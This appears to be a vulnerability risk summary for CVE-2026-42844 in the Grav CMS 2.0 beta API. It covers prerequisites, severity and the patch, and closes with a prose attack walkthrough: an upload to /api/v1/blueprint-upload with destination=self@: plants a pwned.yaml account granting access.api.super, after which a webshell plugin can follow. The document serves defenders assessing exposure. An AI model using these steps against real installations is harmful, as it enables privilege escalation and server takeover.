Grav CMS CVE-2026-42844

Authenticated API access with api.media.write permission granted to the attacker's user account. This requires the Grav API plugin to be enabled (user/config/plugins/api.yaml with enabled: true) and at least one user account configured with access.api.access: true and access.api.media.write: true in their user/accounts/<username>.yaml file. These are non-default settings that indicate the Grav installation is intentionally exposed for API-driven workflows (headless CMS, mobile app backend, third-party integrations). Default Grav installations without the API plugin enabled or with API authentication restricted to administrators are not exploitable. Additionally, the target must be running Grav 2.0.0-beta.2 (or another pre-patch 2.0 beta version prior to 2.0.0-beta.4) - Grav 1.x versions do not appear vulnerable based on available evidence. The attacker does not need existing admin privileges, network proximity, or user interaction; a valid low-privilege API token is the sole prerequisite. Factors limiting exploitation: beta version deployment (production environments typically avoid beta releases), API plugin adoption rate (not enabled by default), and credential requirement (unauthenticated remote exploitation is not possible).

Real-world risk is moderate-to-high for exposed Grav API installations, but exploitation window is narrow due to beta version scope. The attack requires authenticated API access with api.media.write permission, a non-default configuration that implies intentional API exposure. However, the privilege threshold is very low - media uploaders typically have limited permissions, making this a clean vertical escalation from restricted contributor to super-admin. The CVSS vector is not provided, but the attack chain maps to AV:N/AC:L/PR:L/UI:N - network-accessible, low complexity, authenticated with low privileges, no user interaction required. Post-exploitation impact is severe: api.super grants unrestricted API control, enabling content manipulation, user management, plugin/theme installation, and likely RCE via Twig template injection or malicious plugin uploads depending on enabled features. The advisory notes 'this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution.' No EPSS or KEV data is available (likely due to recent disclosure and beta-only affected versions), but publicly available exploit code exists (the advisory includes a four-step weaponizable PoC with HTTP request templates and screenshots proving super_admin=true escalation). Patch is available in 2.0.0-beta.4 via GitHub commit 97fc028, confirmed by vendor advisory GHSA-6xx2-m8wv-756h. Risk is mitigated by limited deployment of beta versions in production, but any organization running Grav 2.0 beta with API plugin enabled and media.write permissions granted to untrusted users faces immediate compromise risk. The fix is comprehensive (input validation, directory classification, extension allowlists) suggesting vendor treats this as high-severity privilege escalation.

An attacker holding API credentials with media.write permission (e.g., a low-privilege content contributor account or compromised integration service token) authenticates to /api/v1/auth/token and obtains a bearer token. They craft a multipart/form-data POST request to /api/v1/blueprint-upload with destination=self@: and scope=users/anything, attaching a malicious pwned.yaml file containing email, fullname, plaintext password (Passw0rd!123), and access.api.super: true. The vulnerable BlueprintUploadController resolves the destination to user/accounts/ and writes pwned.yaml into that directory. The attacker then authenticates as username pwned with the planted password, and Grav's account subsystem validates the credentials and grants a new bearer token with super_admin=true. Using this elevated token, the attacker accesses /api/v1/system/info and other privileged endpoints to exfiltrate configuration, modify site content, create additional admin accounts, or install a malicious plugin containing a PHP webshell for persistent remote code execution. The entire attack completes in under 60 seconds using curl or Burp Suite with the advisory's step-by-step PoC.